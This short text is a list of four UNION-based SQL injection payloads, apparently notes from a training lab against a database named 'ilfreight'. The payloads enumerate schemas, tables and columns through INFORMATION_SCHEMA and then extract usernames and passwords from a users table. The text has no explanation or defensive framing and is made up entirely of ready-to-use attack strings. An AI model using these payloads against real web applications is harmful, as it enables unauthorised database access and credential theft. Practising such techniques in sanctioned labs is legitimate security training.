cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='ilfreight'-- -
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='users'-- -
cn' UNION select 1, username, password, 4 from ilfreight.users-- --- -
